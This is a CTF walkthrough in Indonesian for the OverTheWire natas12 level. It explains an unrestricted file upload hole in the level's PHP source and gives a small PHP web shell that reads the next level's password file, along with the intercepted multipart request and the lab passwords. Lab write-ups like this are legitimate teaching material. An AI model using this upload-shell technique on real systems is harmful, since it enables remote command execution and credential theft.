Link : http://natas12.natas.labs.overthewire.org/
Username : natas12
Password : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Pertama diberikan sebuah tampilan
Nampaknya kita bisa melakukan upload sebuah file JPEG yang maksimum hanya berukuran 1KB
Penulis langsung berpikir ini adalah challenge mendapatkan shell dengan unrestricted file upload, tetapi untuk lebih jelasnya mari kita membuka source code yang diberikan
Source code yaitu
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head> <body> <h1>natas12</h1> <div id="content"> <? function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Mari kita telaah alur script php yang disediakan. Pertama kita akan melakukan upload file secara post yang akan dilakukan pengecekan jika ukurannya lebih dari 1kb maka akan ada peringatan file too big, jika tidak maka file akan diterima.
Terdapat sebuah variabel target_path yang menyimpan function bercabang makeRandomPathFromFilename dan makeRandomPath
Function makeRandomPathFromFilename akan melakukan pengecekan kepada extension dari file yang di upload yang defaultnya adalah jpeg dan passing value dir dan ext ke makeRandomPath
Function makeRandomPath bertugas mereturn sebuah value tempat file akan disimpan di directory upload
upload/(random string berjumlah sepuluh character dari list alphanumeric).jpeg
Untuk menyelesaikan challenge ini kita bisa melakukan unrestricted file upload, secara singkatnya kita akan mengupload file .php yang berisi command yang kita ingin lakukan saat kita mengakses dan load file php tersebut.
Kita akan menginginkan password natas13 sehingga kita bisa membuat sebuah file php yang berisikan
1 2 3 4 |
<?php $pass = `cat /etc/natas_webpass/natas13`; echo $pass; ?> |
Tetapi saat kita melakukan file upload, nama file kita akan diganti menjadi random string dan file extension akan menjadi jpeg secara default. Mari kita gunakan burpsuite untuk meng intercept file yang akan dikirim dan setelah melewati verifikasi front end, maka file dapat masuk tanpa gangguan lebih lanjut.
Upload file
1 2 3 4 5 6 7 8 9 10 11 |
hq8j7gj555.jpg (NAMA FILE) -----------------------------217261477111538 Content-Disposition: form-data; name="uploadedfile"; filename="shell.php" Content-Type: application/octet-stream (ISI FILE) <?php $pass = `cat /etc/natas_webpass/natas13`; echo $pass; ?> |
Mari kita ganti lagi nama filenya menjadi shell.php dan forward
Terdapat sebuah link menuju file kita tadi, mari kita access
Berhasil ! Password untuk natas13 adalah jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY